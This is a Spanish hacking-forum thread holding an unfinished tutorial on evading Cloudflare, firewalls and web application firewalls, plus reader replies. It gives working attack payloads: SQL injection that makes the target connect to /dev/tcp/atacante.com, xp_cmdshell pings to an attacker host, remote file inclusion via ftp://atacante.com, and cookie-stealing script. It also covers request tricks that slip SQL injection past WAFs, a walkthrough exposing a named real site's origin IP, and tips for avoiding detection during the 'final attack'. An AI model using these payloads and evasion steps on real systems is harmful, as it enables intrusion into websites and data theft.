Test Foro de elhacker.net SMF 2.1

El arte del Bypassing


Índice

• Introducción (#post_tuto-introduccion)
• Entendiendo la implementación de seguridad básica de un sitio WEB (#post_tuto-entendiendo)
• Bypaseando Cloudflare (#post_tuto-bypass-cloudflare)
  
  
  
  • Bypaseando Cloudflare a través de un subdominio (#post_tuto-bypass-cloudflare-subdominio)
  • Bypaseando Cloudflare enviando un correo desde el servidor (#post_tuto-bypass-cloudflare-correo)
  • Bypaseando Cloudflare usando el pingback de Wordpress (#post_tuto-bypass-cloudflare-pingback)
  • Bypaseando Cloudflare a través de un RFI (#post_tuto-bypass-cloudflare-rfi)
  • Bypaseando Cloudflare a traves de una inyección SQL (#post_tuto-bypass-cloudflare-sqli)
    
    
    
    • Microsoft SQL Server (#post_tuto-bypass-cloudflare-sqli-mssql)
    • MySQL / MariaDB (#post_tuto-bypass-cloudflare-sqli-mysql)
• Bypaseando el Firewall de hardware (#post_tuto-bypass-firewall)
• Bypaseando el WAF (Web aplication firewall) (#post_tuto-bypass-waf)
  
  
  
  • Utilizando Request mal formadas (#post_tuto-bypass-waf-request)
  • Utilizando solicitudes mayores de N-MB (#post_tuto-bypass-waf-nmb)
  • Evadiendo reglas nativas (#post_tuto-bypass-waf-filtros)
• Bypaseando reglas de Apache (mod security) (#post_tuto-bypass-mod-security)
• Bypaseando reglas de IIS (Internet Information Services)
• Penetrando capas
• Conclusiones

Introducción

Antes de comenzar hay que entender que no existe ningún software o hardware que te pueda proteger de manera 100% efectiva, una maquina funciona en su mayoría en base a reglas y listas negras pero una persona no funciona con listas sino con conocimiento e ingenio, por lo cual un hardware jamás podrá detener cualquier tipo de ataque que se realice a un sistema.

En este tutorial vamos a aprender sobre el arte del bypass, o sea, como evadir sistemas de prevención de intrusión tales como firewalls físicos, softwares de protección, IDS, Web Aplication Firewall, reglas por defecto en servidores web y posibles reglas personalizadas. Claro, todo orientado a un ataque WEB vía HTTP, no hablaremos de un DDOS, MITM o similar.

Vamos a entrar en el fascinante mundo de la penetración WEB, así que pónganse sus lentes 3D y a sentarse cómodos.


Entendiendo la implementación de seguridad básica de un sitio WEB

Primeramente vamos a entender como funciona un sistema de protección, muchos saben que se conectan a un sitio web a través de su navegador de internet pero no saben que otras cosas hay entre ellos.

Para esto vamos a crear un diagrama sobre la implementación de seguridad básica de un sitio WEB:

(http://41.media.tumblr.com/9c2ecc727ca37f7fb5967618689359aa/tumblr_o3yicudZ2I1uzz9lco1_1280.jpg)

Los círculos rojos son las barreras que necesitaremos evadir para llegar a los datos del servidor y realizar el ataque. Cuando la conexión llega a la infraestructura física donde está alojado el sitio WEB el atacante se encontrará con múltiples barreras las cuales son:

• El Firewall Físico.
• El WAF Físico.
• El Firewall de software.
• Reglas nativas del servidor WEB.

A todo esto podemos agregar también la protección básica que otorgan algunos servicios cloud tales como el conocido servicio DNS Cloud de CloudFlare o la seguridad interna de Rackspace o Amazon Web Services como WAF.

A continuación veremos alguna de las maneras para poder evadir estas capas de seguridad.


Bypaseando CloudFlare

Para poder vulnerar un sistema primeramente necesitamos saber:

• ¿Cómo funciona CloudFlare?
  CloudFlare es un servicio de internet que consta de dos servidores fundamentales: un servidor DNS y un servidor web a modo de reverse proxy. A traves de tu panel WEB tienes la opción de utilizar uicamente el servicio DNS y así te evitas tener tu propio servidor DNS y a demás de manera opcional puedes configurar cloudflare para que todo el tráfico de tu sitio WEB pase por ellos, esto quiere decir que cuando entras a tu sitio web ya no estás entrando a tu servidor sino al de cloudflare y el servidor de ellos hace la solicitud al tuyo, de esta manera ellos pueden manejar tu caché a traves de su servidor WEB, la seguridad con sus propios WAF e IDS, etc.
  
  En otras palabras, cuando el sitio WEB pasa por CloudFlare el sitio tiene seguridad adicional, pero cuando no pasa por la nube de cloudflare está sin seguridad.
  
  
• Entendiendo el modo directo: Esta es una configuración del servicio de CloudFlare para que todo el tráfico pase directamente al servidor del usuario:
  
  (https://40.media.tumblr.com/f24bf43cb0bf2f52ff398ef593bb2161/tumblr_o3zk3pgFNb1uzz9lco2_1280.jpg)
  
  En este punto CloudFlare solo sirve como servidor DNS y nada mas, no te proporciona ninguno de sus servicios de protección debido a que el tráfico no está pasando por el reverse proxy de CloudFlare (el cual es un servidor llamado Nginx):
  
  (https://40.media.tumblr.com/2b9bc440e94b4b412ba8c4158d8ac78a/tumblr_o3zklmDy1J1uzz9lco1_400.png)
  
  El navegador solicita el sitio web y este consulta a CloudFlare cual es la ip del dominio y listo, el navegador se conecta a esa ip, hasta ahi llega todo el trabajo de CloudFlare. Claramente también CloudFlare tiene seguridad en su servicio DNS pero no nos preocuparemos por ello ya que no es seguridad a nivel WEB sino a nivel DNS.
  
  
• Entendiendo el modo nube: Esta es una configuración cuando quieres que todo tu tráfico pase por el proxy de cloudflare:
  
  (https://41.media.tumblr.com/645f0ae782ef44d0f869f03ec03889df/tumblr_o3zk3pgFNb1uzz9lco1_1280.jpg)
  
  En este punto el servidor DNS de CloudFlare hará que todas las conexiones en ves de llegar a tu servidor WEB llegará al servidor de CloudFlare y este de manera interna se comunicará con el tuyo, de esta forma CloudFlare podrá tomar control de la seguridad WEB utilizando reglas desde sus equipos WAF y reglas de Nginx:
  
  (https://41.media.tumblr.com/dd9bd3d6bf721cacf450a923734e640a/tumblr_o3zkno6AlA1uzz9lco1_400.png)
  

Digamos que nuestro sitio WEB está alojado en el servidor IP 100.100.100.100, entonces tu tienes un dominio ejemplo.com que cuando configuras su DNS le dices que ese dominio debe apuntar a esa ip, pero en ves de eso apuntará a la ip de cloudflare que es 200.200.200.200, entonces cuando la gente acceda a 200.200.200.200 este de manera interna se comunica con 100.100.100.100.


Ahora que entendemos un poco mejor el concepto vamos a la práctica encontrando la IP real del servidor WEB:

• Bypaseando Cloudflare a traves de un subdominio:
  
  Uno de los grandes problemas de CloudFlare es que solo funciona para protocolos HTTP y HTTPS y de esto nos aprovechamos para bypasear sus servicios.
  
  La gran mayoría utilizan la misma IP no solo para tener su sitio WEB sino también para tener un servicio SSH para poder administrar el servidor, FTP para transferir archivos, SMTP para enviar correos, etc, y cada uno de estos servicios sirve a traves de su propio puerto, 80, 443, 22, 21 y 25 respectivamente, el problema es que CloudFlare solo utiliza un reverse proxy HTTP por lo cual no sirve para ssh o ftp, cuando haces pasar tu tráfico por la nube de cloudflare cuando intentas conectarte a tu servicio ssh a traves del dominio este no conectará ya que el servidor de cloudflare no sirve ssh.
  
  Bajo este problema la mayoría de las personas utilizan subdominios que no pasen por la nube de cloudflare, por ejemplo dev.ejemplo.com, este redireccionará directamente al portal de gestor de códigos por ejemplo o ssh.ejemplo.com sin pasar por la nube de cloudflare.
  
  Cuando haces un ping al servidor te darás cuenta que la IP del dominio principal no calza con al ip de algún otro subdominio y esto es porque el portal princiopal utiliza la ip de cloudflare y el subdominio la ip real del servidor.
  
  Vamos a ver un ejemplo real:
  
  Digamos que queremos acceder directamente a r.plixid.com con nuestro ataque pero este está utilizando cloudflare por lo cual detendrá algunas inyecciones sql y ataques ddos. Lo primero que haremos es verificar si realmente utiliza CloudFlare:
  
  

  Citarwhk@machine:~$ host r.plixid.com
  r.plixid.com has address 104.28.16.225
  r.plixid.com has address 104.28.17.225
  
  whk@machine:~$ whois 104.28.17.225
  
  #
  # ARIN WHOIS data and services are subject to the Terms of Use
  # available at: https://www.arin.net/whois_tou.html
  #
  
  ...
  
  NetRange:       104.16.0.0 - 104.31.255.255
  CIDR:           104.16.0.0/12
  NetName:        CLOUDFLARENET
  NetHandle:      NET-104-16-0-0-1
  Parent:         NET104 (NET-104-0-0-0-0)
  NetType:        Direct Assignment
  OriginAS:       AS13335
  Organization:   CloudFlare, Inc. (CLOUD14)
  RegDate:        2014-03-28
  Updated:        2015-10-01
  Comment:        https://www.cloudflare.com
  Ref:            http://whois.arin.net/rest/net/NET-104-16-0-0-1
  
  ...

  
  Hasta acá comprobamos que efectivamente está utilizando cloudflare.
  
  

  Citarwhk@machine:~$ dig -t cname plixid.com
  
  ; <<>> DiG 9.9.5-11ubuntu1.1-Ubuntu <<>> -t cname plixid.com
  ;; global options: +cmd
  ;; Got answer:
  ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 44652
  ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
  
  ;; OPT PSEUDOSECTION:
  ; EDNS: version: 0, flags:; udp: 4000
  ;; QUESTION SECTION:
  ;plixid.com.         IN   CNAME
  
  ;; AUTHORITY SECTION:
  plixid.com.      2953   IN   SOA   hugh.ns.cloudflare.com. dns.cloudflare.com. 2019789697 10000 2400 604800 3600
  
  ;; Query time: 22 msec
  ;; SERVER: 127.0.1.1#53(127.0.1.1)
  ;; WHEN: Tue Dec 29 12:53:12 CLT 2015
  ;; MSG SIZE  rcvd: 98

  
  hugh.ns.cloudflare.com es su servidor dns primario de cloudflare.
  
  Ahora lo que haré es ver que hay en el registro txt, spf, cname, mx, etc para saber si hay algún registro apuntando hacia algun lado:
  
  

  Citarwhk@machine:~$ digg -t txt plixid.com -> nada
  whk@machine:~$ digg -t a r.plixid.com -> ok
  whk@machine:~$ digg -t cname r.plixid.com -> error
  ...
  r.plixid.com no es un CNAME, es un registro de tipo A (puede estar apuntando a otro servidor que no sea el www)
  mail.plixid.com -> Registro de tipo A y MX hacia mail.yandex.net
  images.plixid.com -> registro de tipo A (puede estar apuntando hacia otro lado)
  www.plixid.com -> CNAME a plixid.com
  ftp.plixid.com -> CNAME a plixid.com
  svn.plixid.com = 212.7.192.134

  
  Bingo!, acabamos de obtener una ip que no es la de cloudflare (el subdominio svn lo saque por fuerza bruta con un diccionario de 4 letras).
  
  

  Citarwhk@machine:~$ dig -t a svn.plixid.com
  
  ; <<>> DiG 9.9.5-11ubuntu1.1-Ubuntu <<>> -t a svn.plixid.com
  ;; global options: +cmd
  ;; Got answer:
  ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 35148
  ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
  
  ;; OPT PSEUDOSECTION:
  ; EDNS: version: 0, flags:; udp: 4096
  ;; QUESTION SECTION:
  ;svn.plixid.com.         IN   A
  
  ;; ANSWER SECTION:
  svn.plixid.com.      164   IN   A   212.7.192.134
  
  ;; Query time: 24 msec
  ;; SERVER: 127.0.1.1#53(127.0.1.1)
  ;; WHEN: Tue Dec 29 12:51:58 CLT 2015
  ;; MSG SIZE  rcvd: 59

  
  Hasta acá podemos concluir dos cosas, primero que tiene los registros dns mal configurados xD porque está utilizndo registros A en ves de CNAME desde un subdominio que está apuntando hacia el mismo servidor de manera interna.
  
  Cloudflare no soporta redirección de tráfico que no sea web, por lo cual cuando estas usando un mismo servidor para todo cuando necesitas conectarte por ssh, ftp, git o svn necesitas dejar ese subdominio en modo bypass, quiere decir que no pasará por la red de cloudflare y fue lo que tuvieron que hacer los dueños del sitio. Por no usar otro servidor para su svn comprometieron la seguridad de todo el resto del servidor.
  
  Mas detalles del caso: http://foro.elhacker.net/dudas_generales/iquestse_puede_saltar_esta_limitacion_de_trafico_web-t446106.0.html;msg2052517#msg2052517
  
  Ahora, el servidor WEB utiliza host virtuales como cualquier otro servidor, por lo cual, para acceder al sitio web principal sin pasar por cloudflare lo único que necesitamos hacer es modificar nuestro archivo hosts apuntando 212.7.192.134 hacia r.plixid.com o simplemente apuntar una conexión por sockets y enviar la cabecera del host que corresponda y listo, cuando lancemos una inyeccion sql o un ddos ya no tendremos la limitante de cloudflare.
  
  
  
• Bypaseando Cloudflare enviando un correo desde el servidor:
  
  Por lo general los sitios WEBs informativos tienen la opción de enviar un tema a traves de un correo, por ejemplo:
  
  (https://40.media.tumblr.com/7c903ed010e9743c62d771e3b17793bf/tumblr_o3zplxjcb11uzz9lco1_500.jpg)
  
  O si no cuando te registras en un foro, blog, o lo que sea te llega un correo de bienvenida o confirmación.
  
  Por lo general la mayoría de las personas utilizan el mismo servidor WEB como servidor de envío de correos ya que es la misma aplicación WEB la que los dispara al usuario.
  
  El tema es que cuando estos correos llegan a tu casilla puedes saber desde que IP fue enviada observando el código fuente:
  
  

  CitarDelivered-To: whk@elhacker.net
  Received: by 10.55.130.131 with SMTP id e125csp2233621qkd;
          Sun, 13 Mar 2016 11:14:56 -0700 (PDT)
  X-Received: by 10.202.181.11 with SMTP id e11mr11276395oif.77.1457892896209;
          Sun, 13 Mar 2016 11:14:56 -0700 (PDT)
  Return-Path: <webmaster@host.com>
  Received: from host.com (host.com. [xx.xx.xx.xx])
          by mx.google.com with ESMTP id ru2si13190406obc.47.2016.03.13.11.14.56
          for <whk@elhacker.net>;
          Sun, 13 Mar 2016 11:14:56 -0700 (PDT)
  
  ...

  
  Entonces donde dice xx.xx.xx.xx será la ip desde el servidor donde salió el correo revelando así cual es la IP real del servidor WEB. Ahora podremos acceder directamente al servidor desde esa ip sin la necesidad de pasar por CloudFlare.
  
  Hay personas que usan servidores adicionales para el envío de correos pero esa esa una excepción que muy pocos hacen.
  
  
  
• Bypaseando Cloudflare usando el pingback de Wordpress:
  
  Wordpress cuenta con un sistema de pingbacks y trackbacks, esto quiere decir que si yo tengo un blog de cocina (blog 1) y hago un post citando a otro blog (blog 2), wordpress le va a avisar a ese blog 2 que está enlazando su contenido y ese segundo blog va a colocar en su area de comentarios un enlace del blog 1.. ahora, cuando hace esto utiliza un socket de conexión directa por php revelando su ip real.
  
  Por ejemplo:
  
  (https://36.media.tumblr.com/64a1f660230de1113c1a662577f1afd3/tumblr_o3zqgiGaSa1uzz9lco1_500.png)
  
  El resultado es este:
  
  (https://40.media.tumblr.com/360a0b8d3da250236cf9746f82b1fc45/tumblr_o3zqhynRIK1uzz9lco1_1280.jpg)
  
  El tema es que cuando el Blog 2 va a buscar el contenido del blog 1 perteneciente al atacante este dejará en su log de acceso del servidor WEB la IP real del servidor:
  
  

  Citar100.100.100.100 - - [13/Mar/2016:15:38:40 +0400] "POST /xmlrpc.php" 406 198 "http://..."

  
  Entonces ya sabemos que el servidor objetivo tiene la IP 100.100.100.100 y con eso ya podemos acceder directamente sin la necesidad de pasar por CloudFlare.
  
  
  
• Bypaseando Cloudflare a través de un RFI
  
  Bueno, esto es la manera mas facil de sacar la IP de un servidor que usa cloudflare ya que basta con incluir un recurso externo de tu propio servidor de ataque para que en tu lug de acceso quede impregnado con la ip real del servidor.
  
  Entendiendo que es un RFI: https://en.wikipedia.org/wiki/File_inclusion_vulnerability
  
  Digamos que el sitio WEB tiene la vulnerabilidad del RFI, como por ejemplo: http://ejemplo.com/?path=[RFI] , entonces basta con incluir algo que se aloje en nuestro servidor:
  
  http://ejemplo.com/?path=ftp://atacante.com/
  
  Ahora, observamos el log de accesos y sabremos la IP real del servidor vulnerable:
  
  

  Citar15:57:05 200.200.200.200 64965 -  - 100.100.100.100 21 USER Anonymous 331 0 0 34 ...

  
  Entonces ahora que ya sabemos la IP del servidor remoto nos podemos conectar de manera directa evadiendo CloudFlare.
  
  
  
• Bypaseando Cloudflare a traves de una inyección SQL
  
  Es posible saber la IP real de un servidor a través de una inyección SQL, existen algunos motores SQL que permiten realizar conexiones remotas dependiendo de los permisos que tenga. Vamos a ver algunos ejemplos dependiendo del motor SQL.
  
  
  
  
  • Bypaseando Cloudflare a traves de una inyección SQL (Microsoft SQL Server)
    
    Una forma de bypasear Cloudflare es obteniendo la IP real del servidor a traves de una inyección SQL haciendo que el motor SQL de Microsoft realice un ping a nuestro servidor de ataque:
    
    

    CitarEXEC master.dbo.xp_cmdshell 'ping -t 1 host'

    
    Sobre nuestra inyección de ejemplo sería algo así: http://ejemplo.com/?product_id=1';EXEC master.dbo.xp_cmdshell 'ping -t 1 host'
    
    Ahora, en nuestro servidor de ataque con tcpdump vamos a capturar el ping:
    
    (https://40.media.tumblr.com/99d3af2c05b882461845f39012b5e391/tumblr_o3zvrpvY9n1uzz9lco1_1280.png)
    
    Con esto sabremos a que IP nuestro servidor le está respondiendo los paquetes ICMP. Ahora solo basta con conectarse directamente a la IP para evadir el sistema de protección de CloudFlare.
    
    También hay que mencionar que el motor SQL necesita permisos de sysadmin (sa) para realizar este tipo de llamadas. En algunos casos algunos administradores perezosos utilizan la conexión sa para comunicarse con el portal web.
    
    
    
  • Bypaseando Cloudflare a traves de una inyección SQL (MySQL / MariaDB)
    
    Hay muchos que dicen que hacer una conexión TCP sobre MySQL es imposible, pero acá veremos que nada hay imposible, vamos a derribar este mito, pero primeramente necesitamos saber que al igual que Microsoft SQL Server necesitamos permisos elevados, en este caso ser root o un usuario que tenga permisos elevados.
    
    Hay algunos casos en que por pereza el administrador de un sistema elige conectar el sitio web directamente a la base de datos utilizando el usuario root, para esto nos vamos a aprovechar de la siguiente manera:
    
    Cuando estamos frente a un servidor CentOS o algún derivado de GNU/Linux o Unix podemos utilizar la gran ventaja de escribir sobre archivos y lanzar paquetes TCP, por ejemplo:
    
    

    Citar/dev/tcp/<host-malicioso>/<puerto>

    
    Cuando sobreescribimos un archivo en ese directorio podremos comunicarnos de manera directa via TCP tal como si usaramos sockets, por ejemplo:
    
    

    Citar$ echo -e "GET / HTTP/1.1\nHost: www.google.cl\n\n" > /dev/tcp/www.google.cl/80

    
    (https://41.media.tumblr.com/164582a355b46262e51b35314c77ca1c/tumblr_o3zwitBSBE1uzz9lco1_1280.jpg)
    
    Mas información sobre el uso de /dev/tcp :
    https://securityreliks.wordpress.com/2010/08/20/devtcp-as-a-weapon/
    http://systemadmin.es/2012/06/uso-de-devtcp-para-conexiones-tcp-desde-bash
    
    Asi que lo que haremos es utilizar la función SQL "DUMPFILE" para volcar un resultado sobre la ip de nuestro servidor capturando la ip remota del servidor:
    
    

    Citarhttp://host.com/?product_id=1' INTO DUMPFILE '/dev/tcp/atacante.com/9999' -- -

    
    Luego a traves de netcat utilizando el puerto 9999 (para no tener problemas con SeLinux) esperamos nuestra conexión del host remoto y listo! :) , ahora podremos conectarnos de manera directa al servidor sin tener que pasar por el sistema de protección de Cloudflare.
    
    También existe otra manera de sacar la IP de un servidor con MySQL y es creando una shell usando la query "into DUMPFILE" que con file_get_contents haga una solicitud externa.
    

Bypaseando el Firewall físico

El Firewall físico monitoréa la red, contiene filtros y reglas para prevenir intrusiones.

Algunos de los firewalls corporativos más conocidos son: Cisco ASA, SonicWall (de Dell), Juniper, Fortinet, Palo Alto y Check Point. Cada uno tiene un costo de muchos cientos de miles de dolares (he visto que se venden en esos precios y aun mas, de hecho yo tengo en mi oficina un SonicWall que me prestó un amigo que sabe mucho del tema).

Acá un firewall de ejemplo:
(https://40.media.tumblr.com/2e89eb82ece9ad28f8ed7612e9033627/tumblr_o3ykfwlQuT1uzz9lco1_1280.jpg)

Por lo general son de 1 o 2 U (1U quiere decir que ocupa un solo espacio en el rack físico), este de la imagen es un CheckPoint 4800 de 1U.

En este punto el Firewall es el encargado de detectar y/o detener ataques de tipo de red como por ejemplo un ataque SMURF, DDOS, que alguien dentro de tu misma red ponga su tarjeta de red en modo monitor, MITM, DNS Poisoning, etc, finalmente tienes un IPS (Intrusion Prevention System) y no un WAF (Web Aplication Firewall) a pesar de que algunos firewalls vienen con un WAF incorporado no terminan siendo su especialidad.

Por lo cual si queremos lanzar un ataque WEB podremos quedarnos tranquilos que ese firewall no nos va a molestar en lo mas mínimo ya que su trabajo no consiste en detener ataques vía HTTP.

Vamos, URLs como estas no son detectadas ni detenidas por un Firewall común (que no contenga un WAF):

http://host.com/?product_id=1' union all select 1,user(),2,3 --
http://host.com/?product_id="><script>alert(document.cookie)</script>
http://host.com/?product_id=1%0cLocation:http://atacante.com/
http://host.com/?product_id=999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
http://host.com/?product_id=10E1
http://host.com/?product_id=~

Lo único que hay que tener cuidado para no ser detectados por el firewall es no enviar un paquete inconsistente o extraño, por ejemplo: cuando vas a penetrar un sistema jamás le corras un nmap y si es muy necesario hacerlo hazlo desde otra ip para que no seas incluido dentro del log de detección de ataques.

Por lo general lo primero que hace una persona al intentar buscar vulnerabilidades es hacer correr algún software automatizado de tipo nmap, nstalker, sss, acunetix, nikto, etc que en algunos casos lanzan paquetes especiales destinados a engañar al firewall para entregar información importante del sistema, pero en muchas ocasiones terminan bloqueados por el firewall y no tienes toda la información de manera real, luego de esto el firewall deja tu ip en una lista negra la cual te comenzará a monitorear y puede traer problemas al momento de lanzar el ataque final.

Por este motivocuando se va a lanzar el ataque hay que tener cuidado de usar estos tipos de softwares para poder pasar limpiamente sobre el Firewall si que te de ninguna alerta.


Bypaseando el WAF físico

El WAF (Web Aplication Firewall) físico monitoréa las solicitudes HTTP, contiene filtros y reglas para prevenir intrusiones tipo IDS.

(https://40.media.tumblr.com/0187d944f140e3fbafaeff4fa4a9d1c6/tumblr_o3zzm4CBLQ1uzz9lco1_1280.jpg)

Algunos de los WAF corporativos más conocidos son: Imperva, Dell SonicWall, Fortinet, Cisco ACE. Cada uno tiene un costo de muchos cientos de miles de dolares.

Acá un WAF de ejemplo:
(https://36.media.tumblr.com/68e334cd0b20d914647f43854271e6ad/tumblr_o3zz44gcUC1uzz9lco1_1280.png)

Por lo general son de 2 U (2U quiere decir que ocupa dos espacios en el rack físico), este de la imagen es un Imperva X1000 de 1U.

• Bypaseando las reglas del WAF utilizando Request mal formadas
  
  Un WAF funciona en base a reglas, tal como un IDS solo se remite a su blacklist. Cuando terminas haciendo una Whitelist con todos los parámetros de un sitio web tal como lo puedes hacer en un WAF Palo Alto o Imperva terminas loco ya que ese mismo tiempo que dedicas creando reglas es tiempo que puedes dedicar a filtrar los inputs de entrada de cada parámetro desde la aplicación WEB, a demás en cada cambio de la aplicación debes volver a auditar el sistema barriendo todos los cambios eliminando y creando reglas.
  
  Digamos que tenemos un sitio WEB con LFI de esta manera: http://host.com/?path=[LFI] , pero al intentar ejecutar dicho LFI terminas golpeándote de cara con el WAF: http://host.com/index.asp?path=web.config te arroja un error 400, 404 o 403.
  
  En este caso en particular hay administradores que conforme el tiempo va pasando van agregando nuevas reglas para prevenir un ataque sobre agujeros existente en sus portales en ves de solucionarlos ya que con esto ganan tiempo y costos, pero el agujero sigue ahí.
  
  Una de las cosas que se ve comunmente en proyectos ASP y ASPX es utilizar request en ves de parsear métodos GET y POST, por lo tanto enviar parámetros via HTTP/GET es lo mismo que enviar parámetros via HTTP/POST y esto puede provocar un gran dolor de cabeza a la administración del WAF ya que no solo deben proteger las solicitudes GET sino POST también y ahi es donde la mayoría falla.
  
  Escenario: Hoy la compañía ABC tiene LFI y para solucionarlo han agregado en su WAF la regla que no se pueda acceder a "/http[s*]:\/\/:host.com\/.+(web\.config).+/i" como expresión regular. Por lo cual el atacante ya no puede acceder a http://host.com/?path=web.config, pero aun podemos enviar dichos parámetros vía HTTP/POST:
  
  

  CitarPOST /index.asp HTTP/1.1
  Host: host.com
  Connection: close
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 15
  
  path=web.config

  
  Ahora, en la mayoría de los casos esto resultará directamente en un bypass y nos devolverá el resultado original, pero en otros casos dependiendo del WAF nos devolverá un error de acceso denegado, por lo cual ahora entraremos a enviar nuestra solicitud especial:
  
  

  CitarGET /index.asp HTTP/1.1
  Host: host.com
  Connection: close
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 15
  
  path=web.config

  
  Como podemos ver esta es una solicitud HTTP/GET con contenido de datos POST, esto forzará a que el WAF verifique los parámetros como solicitud GET vía URL y no los parámetros POST. En Apache e IIS7 este tipo de solicitud son aceptadas de manera correcta siempre y cuando se esté utilizando las request en ves de las supervariables get y post y provocará un bypass del porte de un buque evadiendo cualquier filtro escrito en el WAF. Es mas, esto también causará que tus parámetros del ataque queden ocultos al log del waf y del iis o del apache ya que solo guardan los parámetros que viajan via URL GET ya que guardar los parámetros via post sería una locura que nadie hace salvo que esté auditando algo muy importante en el momento ya que sería demasiado los datos a guardar y guardaría datos muy sensibles de los usuarios.
  
  
  
• Bypaseando el WAF utilizando solicitudes mayores de N-MB
  
  Cuando configuras un WAF debes dictar una serie de parámetros que indican límites para el monitoreo y revisión de solicitudes, un WAF no es una maquina con recursos ilimitados asi que habrán momentos en que no puede revisar todas las solicitudes entrantes.
  
  Una de estas reglas es el límite de bytes de un paquete que debe ser analizado. Por ejemplo, podemos decir que una configuración por defecto está establecido que solo serán revisadas todas las request menores a 10MB :D por lo cual todas las solicitudes que pesen mas de 10MB no serán analizadas.
  
  Basta con enviar una solicitud HTTP/POST con los parámetros maliciosos con la inyección SQL, XSS, etc con un prefijo de parámetros basura de 11MB, en este caso el tipo de POST data a enviar debe ser multipart data según el estandard del RFC-1341:
  
  

  CitarPOST / HTTP/1.1
  Host: host.com
  Connection: close
  Content-Type: multipart/form-data; boundary=---------------------------0000000000000000000000000000
  Content-Length: nnn
  
  -----------------------------0000000000000000000000000000
  Content-Disposition: form-data; name="overflow"
  
  AAAAAAAAAAAAAAAA ..... 11MB de carácteres ... AAAAAAAAA
  -----------------------------0000000000000000000000000000
  Content-Disposition: form-data; name="input-vulnerable";
  
  ' or 1=1 -- -
  
  -----------------------------0000000000000000000000000000--

  
  Y nuestro WAF se quedará mudo sin lanzar absolutamente ninguna alerta ya que en el caso de un sitio web de alto tráfico necesitaría mucho mas hardware para leer request que pesen por ejemplo 1GB o 200MB (por ejemplo en la subida de un archivo o un campo muy grande como por ejemplo el contenido de un cvs o un excel).
  
  (https://40.media.tumblr.com/2a18fd644125cf1bf8e682e7c55b8a80/tumblr_o4025c1ebH1uzz9lco1_400.jpg)
  
  
  
• Evadiendo reglas nativas
  
  ...
  
  
  

Bypaseando reglas de Apache (mod security)

...

---

En construcción :) ...[/list][/list]

Buenísimo WHK! Hacia un muchísimo tiempo que no pasaba por este foro y me ha dado mucha pena ver algunas cosas. Me sorprende que este post no tenga ningun comentario.

Buenísimo de verdad.

Saludos! ;)

Lo que pasa es que aun no lo he terminado por falta de tiempo xD

Como todo lo que aportas increíble, a favoritos

Muchas gracias

Muy buen aporte. Gracias!

Muy bueno

Hola

Re-abriendo topic de @WHK posteo esta ultima presentacion de BH para poder trastear con este tema de nueva cuenta, @WHK are u there?

:https://www.blackhat.com/docs/us-16/materials/us-16-Ivanov-Web-Application-Firewalls-Analysis-Of-Detection-Logic.pdf

comentarios? trastare con ello esta semana

-berzek.

No me canso de releer este gran tutorial, bueno siendo sincero no lo comprendo muy bien es como si estuviera escrito en inglés partes entiendo y partes no.  :rolleyes:
Pero no es su culpa, yo no soy muy avispado.

Excelente POST WHK, me surge una duda a ver si me la puedes aclarar:

CitarPOST / HTTP/1.1
Host: host.com
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------0000000000000000000000000000
Content-Length: nnn

-----------------------------0000000000000000000000000000
Content-Disposition: form-data; name="overflow"

AAAAAAAAAAAAAAAA ..... 11MB de carácteres ... AAAAAAAAA
-----------------------------0000000000000000000000000000
Content-Disposition: form-data; name="input-vulnerable";

VALOR DEL INPUT QUE IRONÍA EL MISMO WAF DEL FORO LO BLOQUEA

-----------------------------0000000000000000000000000000--

1) Las nnn, deberían tener algún valor específico? es decir el tamaño total del contenido?

Por las pruebas que hice debe tener el tamaño correcto, corrígeme si me equivoco.

2) Luego de la doble comilla azul, debería ir un ;? Pregunto por que abajo si hay uno:
name="input-vulnerable";

3) En la inyección SQL que se está enviando, por qué pones -- - ? Los dos primeros guiones finales, deberían ir a causa del RFC pero el siguiente guión?

Gracias por el tutorial, espero que sigas aportando sobre este tema que es muy interesante. Nunca había tenido la oportunidad de toparme con un sistema con este tipo de mecanismos de seguridad (IDS, IPS, WAF, etc.) o más bien, creo que me los he topado pero como no conocía de su existencia, me han bloqueado y siempre he pensado que la web no era "vulnerable".

Saludos  ;-)

Hola, te pego acá la respuesta: http://pastebin.com/LrgsS3fA porque el firewall de cloudflare no me deja postearlo.

Saludos.

Buenas! Me interesó mucho la técnica para bypassear WAF enviando paquetes grandes. Quise hacer unas pruebas locales con mod security sobre Apache, configurándolo con éstos parámetros:

SecRuleEngine On
SecRequestBodyLimitAction ProcessPartial
SecRequestBodyLimit 25000
SecRequestBodyNoFilesLimit 8000
SecRequestBodyInMemoryLimit 8000

Y envío una petición con curl de la siguiente forma:

curl -F "junk=`python -c 'print "A" * 9000'`" -F "vuln=aaaaa" 192.168.0.110/xss/web2.php -v -H "Expect:" -H "User-Agent:" -H "Connection: close" -H "Accept:"

No muestro una imagen del paquete que se envía ya que es idéntico al que mencionás... Todas las cabeceras, todo... Pero no está funcionando como me imaginaba, ya que el servidor me devuelve un 200 con las respectivas cabeceras pero con el body vacío. En éste caso la aplicación lo único que hace es reflejar el parámetro vuln. Si le mando un request con 7000 "A" por ejemplo, lo que mando en vuln se refleja perfectamente, pero cuando supera los 8000 bytes, la respuesta me la manda vacía... Alguna idea de qué condiciones o cosas puedo estar olvidando para que ésto funcione?

Versiones de mod security:

ModSecurity: APR compiled version="1.6.2"; loaded version="1.6.3"
ModSecurity: PCRE compiled version="8.39 "; loaded version="8.39 2016-06-14
ModSecurity: LUA compiled version="Lua 5.1"
ModSecurity: YAJL compiled version="2.1.0"
ModSecurity: LIBXML compiled version="2.9.4"

Gracias!

Muchas gracias por tan excelente tutorial, me ha sido muy útil.